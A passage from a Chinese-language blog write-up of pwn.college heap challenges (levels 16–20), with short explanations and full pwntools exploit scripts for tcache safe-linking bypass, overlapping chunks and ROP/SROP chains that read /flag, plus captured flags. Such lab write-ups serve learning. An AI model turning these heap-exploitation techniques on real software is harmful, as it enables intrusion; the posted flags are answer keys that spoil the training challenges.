0) free(2) free(1) # raw_input("DEBUG") read(0, 0x1337) payload = flat( b"A" * 0x20, main_ret_addr, ) target.sendline(payload) malloc(0, 0) # raw_input("DEBUG") malloc(0, 0) read(0, 0x1337) target.sendline(p64(win)) quit() target.interactive() if __name__ == "__main__": main() ``` ## Flag :spoiler[`pwn.college{sqd-yJZ1_DJOrzpwErrz-Y_4Jw1.0FMwQDL5cTNxgzW}`] # Level 16.0 ## Information - Category: Pwn ## Description > Revisit a prior challenge, now with TCACHE safe-linking. ## Write-up Description 已经说的很清楚了,就是前面某个 challenge 的修订版,safe-linking 是 2 .32 加入的,这个 chall 使用的是 2.35,但是区别不大,safe-linking 一直到现在最新 的 2.42 都没怎么变过。 没学过 safe-linking 的可以看我写的 [解链之诗:堆上咒语的逆诵](/posts/pwn-notes/p wn-trick-notes/#解链之诗堆上咒语的逆诵)。 ## Exploit ```python #!/usr/bin/env python3 from pwn import ( args, context, flat, process, raw_input, remote, ) FILE = "/challenge/babyheap_level16.0" HOST, PORT = "localhost", 1337 context(log_level="debug", binary=FILE, terminal="kitty") elf = context.binary def malloc(idx, size): target.sendlineafter(b": ", b"malloc") target.sendlineafter(b"Index: ", str(idx).encode()) target.sendlineafter(b"Size: ", str(size).encode()) def free(idx): target.sendlineafter(b": ", b"free") target.sendlineafter(b"Index: ", str(idx).encode()) def puts(idx): target.sendlineafter(b": ", b"puts") target.sendlineafter(b"Index: ", str(idx).encode()) def scanf(idx, data): target.sendlineafter(b": ", b"scanf") target.sendlineafter(b"Index: ", str(idx).encode()) target.sendline(data) def send_flag(secret): target.sendlineafter(b": ", b"send_flag") target.sendlineafter(b"Secret: ", str(secret).encode()) def quit(): target.sendlineafter(b": ", b"quit") def mangle(pos, ptr, shifted=1): if shifted: return pos ^ ptr return (pos >> 12) ^ ptr def demangle(pos, ptr, shifted=1): if shifted: return mangle(pos, ptr) return mangle(pos, ptr, 0) def launch(): global target if args.L: target = process(FILE) else: target = remote(HOST, PORT) def main(): launch() malloc(0, 0) malloc(1, 0) free(1) free(0) puts(0) target.recvuntil(b"Data: ") mangled = int.from_bytes(target.recvline().strip(), "little") puts(1) target.recvuntil(b"Data: ") pos = int.from_bytes(target.recvline().strip(), "little") heap = demangle(pos, mangled) secret = elf.bss() + 0x27B60 secret_mangled_1 = mangle(pos, secret) secret_mangled_2 = mangle(pos, (secret - 0x8)) target.success(f"pos: {hex(pos)}") target.success(f"mangled: {hex(mangled)}") target.success(f"heap: {hex(heap)}") target.success(f"secret: {hex(secret)}") target.success(f"secret_mangled_1: {hex(secret_mangled_1)}") target.success(f"secret_mangled_2: {hex(secret_mangled_2)}") scanf(0, flat(secret_mangled_1)) malloc(0, 0) # the following malloc will be done 2 things: # 1/ zero out the last 8 bytes secret # 2/ let the first 8 bytes secret value to be the appropriate tcache bin's # header malloc(0, 0) malloc(0, 0) # now the following free will use the value left on tcache bin header, # which is the secret value, to fill the fd free(0) puts(0) target.recvuntil(b"Data: ") secret_mangled = int.from_bytes(target.recv(8), "little") secret_demangled = demangle(pos, secret_mangled) target.success(f"secret_demangled: {hex(secret_demangled)}") secret = demangle(secret, secret_demangled, 0) target.success(f"secret: {hex(secret)}") send_flag(flat(secret, 0).decode()) quit() target.interactive() if __name__ == "__main__": main() ``` ## Flag :spoiler[`pwn.college{MWVB7nml1ki-wvzXebiEIEuESuU.dhDO0MDL5cTNxgzW}`] # Level 16.1 ## Information - Category: Pwn ## Description > Revisit a prior challenge, now with TCACHE safe-linking. ## Write-up 参见 [Level 16.0](#level-160)。 ## Exploit ```python #!/usr/bin/env python3 from pwn import ( args, context, flat, process, raw_input, remote, ) FILE = "/challenge/babyheap_level16.1" HOST, PORT = "localhost", 1337 context(log_level="debug", binary=FILE, terminal="kitty") elf = context.binary def malloc(idx, size): target.sendlineafter(b": ", b"malloc") target.sendlineafter(b"Index: ", str(idx).encode()) target.sendlineafter(b"Size: ", str(size).encode()) def free(idx): target.sendlineafter(b": ", b"free") target.sendlineafter(b"Index: ", str(idx).encode()) def puts(idx): target.sendlineafter(b": ", b"puts") target.sendlineafter(b"Index: ", str(idx).encode()) def scanf(idx, data): target.sendlineafter(b": ", b"scanf") target.sendlineafter(b"Index: ", str(idx).encode()) target.sendline(data) def send_flag(secret): target.sendlineafter(b": ", b"send_flag") target.sendlineafter(b"Secret: ", str(secret).encode()) def quit(): target.sendlineafter(b": ", b"quit") def mangle(pos, ptr, shifted=1): if shifted: return pos ^ ptr return (pos >> 12) ^ ptr def demangle(pos, ptr, shifted=1): if shifted: return mangle(pos, ptr) return mangle(pos, ptr, 0) def launch(): global target if args.L: target = process(FILE) else: target = remote(HOST, PORT) def main(): launch() malloc(0, 0) malloc(1, 0) free(1) free(0) puts(0) target.recvuntil(b"Data: ") mangled = int.from_bytes(target.recvline().strip(), "little") puts(1) target.recvuntil(b"Data: ") pos = int.from_bytes(target.recvline().strip(), "little") heap = demangle(pos, mangled) secret = elf.bss() + 0x1CE90 secret_mangled_1 = mangle(pos, secret) secret_mangled_2 = mangle(pos, (secret - 0x8)) target.success(f"pos: {hex(pos)}") target.success(f"mangled: {hex(mangled)}") target.success(f"heap: {hex(heap)}") target.success(f"secret: {hex(secret)}") target.success(f"secret_mangled_1: {hex(secret_mangled_1)}") target.success(f"secret_mangled_2: {hex(secret_mangled_2)}") scanf(0, flat(secret_mangled_1)) malloc(0, 0) # the following malloc will be done 2 things: # 1/ zero out the last 8 bytes secret # 2/ let the first 8 bytes secret value to be the appropriate tcache bin's # header malloc(0, 0) malloc(0, 0) # now the following free will use the value left on tcache bin header, # which is the secret value, to fill the fd free(0) puts(0) target.recvuntil(b"Data: ") secret_mangled = int.from_bytes(target.recv(8), "little") secret_demangled = demangle(pos, secret_mangled) target.success(f"secret_demangled: {hex(secret_demangled)}") secret = demangle(secret, secret_demangled, 0) target.success(f"secret: {hex(secret)}") send_flag(flat(secret, 0).decode()) quit() target.interactive() if __name__ == "__main__": main() ``` ## Flag :sopiler[`pwn.college{ktet0NEaj6TQuRma_FkmhYKm5rq.dlDO0MDL5cTNxgzW}`] # Level 17.0 ## Information - Category: Pwn ## Description > Revisit a prior challenge, now with TCACHE safe-linking. ## Write-up 泄漏了代码段地址和栈地址,但是不能直接分配到返回地址,如果分配到 RBP 也不行,执 行 `malloc_usable_size(ptr[n0xF_3])` 的时候会把 canary 当作 size,然后 SIGSEGV, 继续往前分配的话,就不得不泄漏 canary 了,但因为输入函数是 `scanf`,所以泄漏 can ary 好像也成为了不可能。 不过我们不难发现,它泄漏的这个栈地址就是 `ptr[16]` 的地址,那就很好办了,直接在 里面写返回地址的栈地址,然后使用 scanf 对保持返回地址的那项进行写入。 ## Exploit ```python #!/usr/bin/env python3 from pwn import ( args, context, flat, process, raw_input, remote, ) FILE = "/challenge/babyheap_level17.0" HOST, PORT = "localhost", 1337 context(log_level="debug", binary=FILE, terminal="kitty") elf = context.binary def malloc(idx, size): target.sendlineafter(b": ", b"malloc") target.sendlineafter(b"Index: ", str(idx).encode()) target.sendlineafter(b"Size: ", str(size).encode()) def free(idx): target.sendlineafter(b": ", b"free") target.sendlineafter(b"Index: ", str(idx).encode()) def puts(idx): target.sendlineafter(b": ", b"puts") target.sendlineafter(b"Index: ", str(idx).encode()) def scanf(idx, data): target.sendlineafter(b": ", b"scanf") target.sendlineafter(b"Index: ", str(idx).encode()) target.sendline(data) def quit(): target.sendlineafter(b": ", b"quit") def mangle(pos, ptr, shifted=1): if shifted: return pos ^ ptr return (pos >> 12) ^ ptr def demangle(pos, ptr, shifted=1): if shifted: return mangle(pos, ptr) return mangle(pos, ptr, 0) def launch(): global target if args.L: target = process(FILE) else: target = remote(HOST, PORT) def main(): launch() target.recvuntil(b"[LEAK] The local stack address of your allocations is at: ") stack = int(target.recvline().strip()[:-1], 16) ret = stack + 0x118 target.recvuntil(b"[LEAK] The address of main is at: ") elf.address = int(target.recvline().strip()[:-1], 16) - 0x1B1B target.success(f"stack: {hex(stack)}") target.success(f"pie: {hex(elf.address)}") malloc(0, 0) malloc(1, 0) free(1) free(0) puts(1) target.recvuntil(b"Data: ") pos = int.from_bytes(target.recvline().strip(), "little") puts(0) target.recvuntil(b"Data: ") mangled = int.from_bytes(target.recvline().strip(), "little") heap = demangle(pos, mangled) target.success(f"pos: {hex(pos)}") target.success(f"mangled: {hex(mangled)}") target.success(f"heap: {hex(heap)}") stack_mangled = mangle(pos, stack) scanf(0, flat(stack_mangled)) raw_input("DEBUG") malloc(0, 0) malloc(0, 0) payload = flat( stack, ret, ) scanf(0, payload) scanf(1, flat(elf.sym["win"])) quit() target.interactive() if __name__ == "__main__": main() ``` ## Flag :spoiler[`pwn.college{wMAyk806GbwvQXzo8CWgpFdlih0.dBTO0MDL5cTNxgzW}`] # Level 17.1 ## Information - Category: Pwn ## Description > Revisit a prior challenge, now with TCACHE safe-linking. ## Write-up 参见 [Level 17.0](#level-170)。 ## Exploit ```python #!/usr/bin/env python3 from pwn import ( args, context, flat, process, raw_input, remote, ) FILE = "/challenge/babyheap_level17.1" HOST, PORT = "localhost", 1337 context(log_level="debug", binary=FILE, terminal="kitty") elf = context.binary def malloc(idx, size): target.sendlineafter(b": ", b"malloc") target.sendlineafter(b"Index: ", str(idx).encode()) target.sendlineafter(b"Size: ", str(size).encode()) def free(idx): target.sendlineafter(b": ", b"free") target.sendlineafter(b"Index: ", str(idx).encode()) def puts(idx): target.sendlineafter(b": ", b"puts") target.sendlineafter(b"Index: ", str(idx).encode()) def scanf(idx, data): target.sendlineafter(b": ", b"scanf") target.sendlineafter(b"Index: ", str(idx).encode()) target.sendline(data) def quit(): target.sendlineafter(b": ", b"quit") def mangle(pos, ptr, shifted=1): if shifted: return pos ^ ptr return (pos >> 12) ^ ptr def demangle(pos, ptr, shifted=1): if shifted: return mangle(pos, ptr) return mangle(pos, ptr, 0) def launch(): global target if args.L: target = process(FILE) else: target = remote(HOST, PORT) def main(): launch() target.recvuntil(b"[LEAK] The local stack address of your allocations is at: ") stack = int(target.recvline().strip()[:-1], 16) ret = stack + 0x148 target.recvuntil(b"[LEAK] The address of main is at: ") elf.address = int(target.recvline().strip()[:-1], 16) - 0x151B target.success(f"stack: {hex(stack)}") target.success(f"pie: {hex(elf.address)}") malloc(0, 0) malloc(1, 0) free(1) free(0) puts(1) target.recvuntil(b"Data: ") pos = int.from_bytes(target.recvline().strip(), "little") puts(0) target.recvuntil(b"Data: ") mangled = int.from_bytes(target.recvline().strip(), "little") heap = demangle(pos, mangled) target.success(f"pos: {hex(pos)}") target.success(f"mangled: {hex(mangled)}") target.success(f"heap: {hex(heap)}") stack_mangled = mangle(pos, stack) scanf(0, flat(stack_mangled)) raw_input("DEBUG") malloc(0, 0) malloc(0, 0) scanf(0, flat(ret)) scanf(0, flat(elf.sym["win"])) quit() target.interactive() if __name__ == "__main__": main() ``` ## Flag :spoiler[`pwn.college{I8R8BzpNtgq5LKv4UV3QhQYfU3h.dFTO0MDL5cTNxgzW}`] # Level 18.0 ## Information - Category: Pwn ## Description > Revisit a prior challenge, now with TCACHE safe-linking. ## Write-up 这题就出的不好了,根本没用上 safe-linking 。 ## Exploit ```python #!/usr/bin/env python3 from pwn import ( args, context, flat, process, raw_input, remote, ) FILE = "/challenge/babyheap_level18.0" HOST, PORT = "localhost", 1337 context(log_level="debug", binary=FILE, terminal="kitty") elf = context.binary def malloc(idx, size): target.sendlineafter(b": ", b"malloc") target.sendlineafter(b"Index: ", str(idx).encode()) target.sendlineafter(b"Size: ", str(size).encode()) def free(idx): target.sendlineafter(b": ", b"free") target.sendlineafter(b"Index: ", str(idx).encode()) def puts(idx): target.sendlineafter(b": ", b"puts") target.sendlineafter(b"Index: ", str(idx).encode()) def scanf(idx, data): target.sendlineafter(b": ", b"scanf") target.sendlineafter(b"Index: ", str(idx).encode()) target.sendline(data) def send_flag(secret): target.sendlineafter(b": ", b"send_flag") target.sendlineafter(b"Secret: ", secret) def stack_free(): target.sendlineafter(b": ", b"stack_free") def stack_scanf(data): target.sendlineafter(b": ", b"stack_scanf") target.sendline(data) def quit(): target.sendlineafter(b": ", b"quit") def mangle(pos, ptr, shifted=1): if shifted: return pos ^ ptr return (pos >> 12) ^ ptr def demangle(pos, ptr, shifted=1): if shifted: return mangle(pos, ptr) return mangle(pos, ptr, 0) def launch(): global target if args.L: target = process(FILE) else: target = remote(HOST, PORT) def main(): launch() malloc(0, 0) malloc(1, 0) free(1) free(0) puts(1) target.recvuntil(b"Data: ") pos = int.from_bytes(target.recvline().strip(), "little") puts(0) target.recvuntil(b"Data: ") mangled = int.from_bytes(target.recvline().strip(), "little") target.success(f"pos: {hex(pos)}") target.success(f"mangled: {hex(mangled)}") payload = flat( b"A" * 0x30, 0, 0x401, ) stack_scanf(payload) stack_free() raw_input("DEBUG") malloc(0, 0x3F0) payload = flat( b"A" * 0xBB, 0, 0, ) scanf(0, payload) send_flag(flat(0, 0)) quit() target.interactive() if __name__ == "__main__": main() ``` ## Flag :spoiler[`pwn.college{w9fBk2-OmoD0TO7dLtn3ypPp0RY.dJTO0MDL5cTNxgzW}`] # Level 18.1 ## Information - Category: Pwn ## Description > Revisit a prior challenge, now with TCACHE safe-linking. ## Write-up 参见 [Level 18.0](#level-180)。 ## Exploit ```python #!/usr/bin/env python3 from pwn import ( args, context, flat, process, raw_input, remote, ) FILE = "/challenge/babyheap_level18.1" HOST, PORT = "localhost", 1337 context(log_level="debug", binary=FILE, terminal="kitty") elf = context.binary def malloc(idx, size): target.sendlineafter(b": ", b"malloc") target.sendlineafter(b"Index: ", str(idx).encode()) target.sendlineafter(b"Size: ", str(size).encode()) def free(idx): target.sendlineafter(b": ", b"free") target.sendlineafter(b"Index: ", str(idx).encode()) def puts(idx): target.sendlineafter(b": ", b"puts") target.sendlineafter(b"Index: ", str(idx).encode()) def scanf(idx, data): target.sendlineafter(b": ", b"scanf") target.sendlineafter(b"Index: ", str(idx).encode()) target.sendline(data) def send_flag(secret): target.sendlineafter(b": ", b"send_flag") target.sendlineafter(b"Secret: ", secret) def stack_free(): target.sendlineafter(b": ", b"stack_free") def stack_scanf(data): target.sendlineafter(b": ", b"stack_scanf") target.sendline(data) def quit(): target.sendlineafter(b": ", b"quit") def mangle(pos, ptr, shifted=1): if shifted: return pos ^ ptr return (pos >> 12) ^ ptr def demangle(pos, ptr, shifted=1): if shifted: return mangle(pos, ptr) return mangle(pos, ptr, 0) def launch(): global target if args.L: target = process(FILE) else: target = remote(HOST, PORT) def main(): launch() malloc(0, 0) malloc(1, 0) free(1) free(0) puts(1) target.recvuntil(b"Data: ") pos = int.from_bytes(target.recvline().strip(), "little") puts(0) target.recvuntil(b"Data: ") mangled = int.from_bytes(target.recvline().strip(), "little") target.success(f"pos: {hex(pos)}") target.success(f"mangled: {hex(mangled)}") payload = flat( b"A" * 0x30, 0, 0x401, ) stack_scanf(payload) stack_free() raw_input("DEBUG") malloc(0, 0x3F0) payload = flat( b"A" * 0x80, 0, 0, ) scanf(0, payload) send_flag(flat(0, 0)) quit() target.interactive() if __name__ == "__main__": main() ``` ## Flag :spoiler[`pwn.college{8b5lkMBpAAfr5wN2o6YrXmK9nLw.dNTO0MDL5cTNxgzW}`] # Level 19.0 ## Information - Category: Pwn ## Description > Leverage overlapping allocations to obtain the flag. ## Write-up Description 告诉我们需要使用 overlapping,那就先去了解一下那是个啥,我写了 [Mirr or, Mirror on the Heap](/posts/pwn-notes/pwn-trick-notes/#mirror-mirror-on-the-h eap) 。 然后就很简单了,篡改 inuse chunk 的 size 再输出就好了,很简单的一个概念。 ## Exploit ```python #!/usr/bin/env python3 from pwn import ( args, context, flat, process, raw_input, remote, ) FILE = "/challenge/babyheap_level19.0" HOST, PORT = "localhost", 1337 context(log_level="debug", binary=FILE, terminal="kitty") elf = context.binary def malloc(idx, size): target.sendlineafter(b": ", b"malloc") target.sendlineafter(b"Index: ", str(idx).encode()) target.sendlineafter(b"Size: ", str(size).encode()) def free(idx): target.sendlineafter(b": ", b"free") target.sendlineafter(b"Index: ", str(idx).encode()) def safe_read(idx, data): target.sendlineafter(b": ", b"safe_read") target.sendlineafter(b"Index: ", str(idx).encode()) target.sendline(data) def safe_write(idx): target.sendlineafter(b": ", b"safe_write") target.sendlineafter(b"Index: ", str(idx).encode()) def read_flag(): target.sendlineafter(b": ", b"read_flag") def quit(): target.sendlineafter(b": ", b"quit") def mangle(pos, ptr, shifted=1): if shifted: return pos ^ ptr return (pos >> 12) ^ ptr def demangle(pos, ptr, shifted=1): if shifted: return mangle(pos, ptr) return mangle(pos, ptr, 0) def launch(): global target if args.L: target = process(FILE) else: target = remote(HOST, PORT) def main(): launch() malloc(0, 0x20) malloc(1, 0) read_flag() payload = flat( b"A" * 0x20, 0, 0x61, ) # raw_input("DEBUG") safe_read(0, payload) free(1) raw_input("DEBUG") malloc(0, 0x50) safe_write(0) target.recvuntil(b"pwn.college{") flag = target.recvline().decode() target.success(f"pwn.college{{{flag}") quit() target.interactive() if __name__ == "__main__": main() ``` ## Flag :spoiler[`pwn.college{UyW-UEWgMm10Cadm41NCv96TtqR.dRTO0MDL5cTNxgzW}`] # Level 19.1 ## Information - Category: Pwn ## Description > Leverage overlapping allocations to obtain the flag. ## Write-up 参见 [Level 19.0](#level-190)。 ## Exploit ```python #!/usr/bin/env python3 from pwn import ( args, context, flat, process, raw_input, remote, ) FILE = "/challenge/babyheap_level19.1" HOST, PORT = "localhost", 1337 context(log_level="debug", binary=FILE, terminal="kitty") elf = context.binary def malloc(idx, size): target.sendlineafter(b": ", b"malloc") target.sendlineafter(b"Index: ", str(idx).encode()) target.sendlineafter(b"Size: ", str(size).encode()) def free(idx): target.sendlineafter(b": ", b"free") target.sendlineafter(b"Index: ", str(idx).encode()) def safe_read(idx, data): target.sendlineafter(b": ", b"safe_read") target.sendlineafter(b"Index: ", str(idx).encode()) target.sendline(data) def safe_write(idx): target.sendlineafter(b": ", b"safe_write") target.sendlineafter(b"Index: ", str(idx).encode()) def read_flag(): target.sendlineafter(b": ", b"read_flag") def quit(): target.sendlineafter(b": ", b"quit") def mangle(pos, ptr, shifted=1): if shifted: return pos ^ ptr return (pos >> 12) ^ ptr def demangle(pos, ptr, shifted=1): if shifted: return mangle(pos, ptr) return mangle(pos, ptr, 0) def launch(): global target if args.L: target = process(FILE) else: target = remote(HOST, PORT) def main(): launch() malloc(0, 0x20) malloc(1, 0) read_flag() payload = flat( b"A" * 0x20, 0, 0x61, ) # raw_input("DEBUG") safe_read(0, payload) free(1) raw_input("DEBUG") malloc(0, 0x50) safe_write(0) target.recvuntil(b"pwn.college{") flag = target.recvline().decode() target.success(f"pwn.college{{{flag}") quit() target.interactive() if __name__ == "__main__": main() ``` ## Flag :spoiler[`pwn.college{ou87E6zOskHpMtWjDb0XpdVk9ub.dVTO0MDL5cTNxgzW}`] # Level 20.0 ## Information - Category: Pwn ## Description > 16 bytes and a dream. ## Write-up 说实话我没有 get 到这个 description 是什么意思,这 16 bytes 是指什么呢? 感觉这题就是前面所有知识点的综合,并且没有提供后门函数,我选择 ret2libc 然后打 O RW,不过打法多了去了,我只是选一个自认为比较方便的打。另外,这里我除了写了普通 O RW 外还复习了一下 SROP,可以看我 exp 注释掉的部分是普通 ORW 打法。 ## Exploit ```python #!/usr/bin/env python3 from pwn import ( ELF, ROP, SigreturnFrame, args, constants, context, flat, process, raw_input, remote, ) FILE = "/challenge/tcache-terror-easy" HOST, PORT = "localhost", 1337 context(log_level="debug", binary=FILE, terminal="kitty") elf = context.binary libc = ELF("/challenge/lib/libc.so.6") def malloc(idx, size): target.sendlineafter(b": ", b"malloc") target.sendlineafter(b"Index: ", str(idx).encode()) target.sendlineafter(b"Size: ", str(size).encode()) def free(idx): target.sendlineafter(b": ", b"free") target.sendlineafter(b"Index: ", str(idx).encode()) def safe_read(idx, data): target.sendlineafter(b": ", b"safe_read") target.sendlineafter(b"Index: ", str(idx).encode()) target.sendline(data) def safe_write(idx): target.sendlineafter(b": ", b"safe_write") target.sendlineafter(b"Index: ", str(idx).encode()) def quit(): target.sendlineafter(b": ", b"quit") def mangle(pos, ptr, shifted=1): if shifted: return pos ^ ptr return (pos >> 12) ^ ptr def demangle(pos, ptr, shifted=1): if shifted: return mangle(pos, ptr) return mangle(pos, ptr, 0) def launch(): global target if args.L: target = process(FILE) else: target = remote(HOST, PORT) def main(): launch() malloc(0, 0x410) malloc(1, 0) free(0) malloc(0, 0x410) safe_write(0) target.recvlines(2) libc.address = int.from_bytes(target.recv(0x8).strip(), "little") - 0x219CE0 free(1) malloc(0, 0) # raw_input("DEBUG") safe_write(0) target.recvlines(2) pos = int.from_bytes(target.recv(0x8).strip(), "little") malloc(0, 0x10) malloc(1, 0) malloc(2, 0) malloc(3, 0) free(3) free(2) payload = flat( b"A" * 0x10, 0, 0x41, ) safe_read(0, payload) free(1) malloc(1, 0x30) payload = flat( b"A" * 0x10, 0, 0x21, mangle(pos, libc.sym["environ"]), ) # raw_input("DEBUG") safe_read(1, payload) malloc(0, 0) malloc(0, 0) # raw_input("DEBUG") safe_write(0) target.recvlines(2) ret = int.from_bytes(target.recv(0x8).strip(), "little") - 0x120 rbp = ret - 0x8 target.success(f"libc: {hex(libc.address)}") target.success(f"pos: {hex(pos)}") target.success(f"ret: {hex(ret)}") malloc(0, 0x10) malloc(1, 0) malloc(2, 0x100) malloc(3, 0x100) free(3) free(2) payload = flat( b"A" * 0x10, 0, 0x221, ) # raw_input("DEBUG") safe_read(0, payload) free(1) malloc(1, 0x210) payload = flat( b"A" * 0x10, 0, 0x111, mangle(pos, ret - 0x8), ) # raw_input("DEBUG") safe_read(1, payload) malloc(0, 0x100) raw_input("DEBUG") malloc(0, 0x100) rop = ROP(libc) # payload = flat( # # open # b"/flagx00x00x00", # rop.rdi.address, # rbp, # rop.rsi.address, # 0, # rop.rax.address, # constants.SYS_open, # rop.find_gadget(["syscall", "ret"])[0], # # read # rop.rdi.address, # 3, # rop.rsi.address, # rbp - 0x100, # rop.rdx.address, # 0x100, # rop.rax.address, # 0, # rop.find_gadget(["syscall", "ret"])[0], # # write # rop.rdi.address, # 1, # rop.rsi.address, # rbp - 0x100, # rop.rdx.address, # 0x100, # rop.rax.address, # 1, # rop.find_gadget(["syscall", "ret"])[0], # ) frame = SigreturnFrame() frame.rax = constants.SYS_sendfile frame.rdi = 1 frame.rsi = 3 frame.rdx = ret + 0x18 frame.r10 = 0x100 frame.rip = rop.find_gadget(["syscall", "ret"])[0] payload = flat( # open b"/flagx00x00x00", rop.rdi.address, rbp, rop.rsi.address, 0, rop.rax.address, constants.SYS_open, rop.find_gadget(["syscall", "ret"])[0], # read rop.rdi.address, 0, rop.rsi.address, rbp - 0x100, rop.rdx.address, 0x100, rop.rax.address, 0, rop.find_gadget(["syscall", "ret"])[0], # srop rop.rax.address, 0xF, rop.rsp.address, rbp - 0x100, ) # raw_input("DEBUG") safe_read(0, payload) raw_input("DEBUG") quit() payload = flat( rop.find_gadget(["syscall", "ret"])[0], frame, ) target.send(payload) target.interactive() if __name__ == "__main__": main() ``` ## Flag :spoiler[`pwn.college{4fglWsi6vXF1cQOmxoxHe6iLybu.dZTO0MDL5cTNxgzW}`] # Level 20.1 ## Information - Category: Pwn ## Description > 16 bytes and a dream. ## Write-up 参见 [Level 20.0](#level-200)。 ## Exploit ```python #!/usr/bin/env python3 from pwn import ( ELF, ROP, SigreturnFrame, args, constants, context, flat, process, raw_input, remote, ) FILE = "/challenge/tcache-terror-hard" HOST, PORT = "localhost", 1337 context(log_level="debug", binary=FILE, terminal="kitty") elf = context.binary libc = ELF("/challenge/lib/libc.so.6") def malloc(idx, size): target.sendlineafter(b": ", b"malloc") target.sendlineafter(b"Index: ", str(idx).encode()) target.sendlineafter(b"Size: ", str(size).encode()) def free(idx): target.sendlineafter(b": ", b"free") target.sendlineafter(b"Index: ", str(idx).encode()) def safe_read(idx, data): target.sendlineafter(b": ", b"safe_read") target.sendlineafter(b"Index: ", str(idx).encode()) target.sendline(data) def safe_write(idx): target.sendlineafter(b": ", b"safe_write") target.sendlineafter(b"Index: ", str(idx).encode()) def quit(): target.sendlineafter(b": ", b"quit") def mangle(pos, ptr, shifted=1): if shifted: return pos ^ ptr return (pos >> 12) ^ ptr def demangle(pos, ptr, shifted=1): if shifted: return mangle(pos, ptr) return mangle(pos, ptr, 0) def launch(): global target if args.L: target = process(FILE) else: target = remote(HOST, PORT) def main(): launch() malloc(0, 0x410) malloc(1, 0) free(0) malloc(0, 0x410) safe_write(0) libc.address = int.from_bytes(target.recv(0x8).strip(), "little") - 0x219CE0 free(1) malloc(0, 0) # raw_input("DEBUG") safe_write(0) pos = int.from_bytes(target.recv(0x8).strip(), "little") malloc(0, 0x10) malloc(1, 0) malloc(2, 0) malloc(3, 0) free(3) free(2) payload = flat( b"A" * 0x10, 0, 0x41, ) # raw_input("DEBUG") safe_read(0, payload) free(1) malloc(1, 0x30) payload = flat( b"A" * 0x10, 0, 0x21, mangle(pos, libc.sym["environ"]), ) safe_read(1, payload) malloc(0, 0) malloc(0, 0) # raw_input("DEBUG") safe_write(0) ret = int.from_bytes(target.recv(0x8).strip(), "little") - 0x120 rbp = ret - 0x8 target.success(f"libc: {hex(libc.address)}") target.success(f"pos: {hex(pos)}") target.success(f"ret: {hex(ret)}") malloc(0, 0x10) malloc(1, 0) malloc(2, 0x100) malloc(3, 0x100) free(3) free(2) payload = flat( b"A" * 0x10, 0, 0x221, ) # raw_input("DEBUG") safe_read(0, payload) free(1) malloc(1, 0x210) payload = flat( b"A" * 0x10, 0, 0x111, mangle(pos, ret - 0x8), ) # raw_input("DEBUG") safe_read(1, payload) malloc(0, 0x100) raw_input("DEBUG") malloc(0, 0x100) rop = ROP(libc) # payload = flat( # # open # b"/flagx00x00x00", # rop.rdi.address, # rbp, # rop.rsi.address, # 0, # rop.rax.address, # constants.SYS_open, # rop.find_gadget(["syscall", "ret"])[0], # # read # rop.rdi.address, # 3, # rop.rsi.address, # rbp - 0x100, # rop.rdx.address, # 0x100, # rop.rax.address, # 0, # rop.find_gadget(["syscall", "ret"])[0], # # write # rop.rdi.address, # 1, # rop.rsi.address, # rbp - 0x100, # rop.rdx.address, # 0x100, # rop.rax.address, # 1, # rop.find_gadget(["syscall", "ret"])[0], # ) frame = SigreturnFrame() frame.rax = constants.SYS_sendfile frame.rdi = 1 frame.rsi = 3 frame.rdx = ret + 0x18 frame.r10 = 0x100 frame.rip = rop.find_gadget(["syscall", "ret"])[0] payload = flat( # open b"/flagx00x00x00", rop.rdi.address, rbp, rop.rsi.address, 0, rop.rax.address, constants.SYS_open, rop.find_gadget(["syscall", "ret"])[0], # read rop.rdi.address, 0, rop.rsi.address, rbp - 0x100, rop.rdx.address, 0x100, rop.rax.address, 0, rop.find_gadget(["syscall", "ret"])[0], # srop rop.rax.address, 0xF, rop.rsp.address, rbp - 0x100, ) # raw_input("DEBUG") safe_read(0, payload) raw_input("DEBUG") quit() payload = flat( rop.find_gadget(["syscall", "ret"])[0], frame, ) target.send(payload) target.interactive() if __name__ == "__main__": main() ``` ## Flag :spoiler[`pwn.college{I4gOWGlF1e4mxxQJzpY65moHbAQ.ddTO0MDL5cTNxgzW}`] # 后记 从一开始的对 heap 充满了恐惧,到现在打完这一章也算是小有成就了,真的从来没想过这 一天哈哈哈。接下来就可以去打 dynamic-allocator-exploitation chapter 了,据说是 h ow2heap 里面各种手法的实践。感觉难度一下就上了好几个台阶,不过我已经克服恐惧了, 只是不知道能不能在一个月内打完,让我们拭目以待。









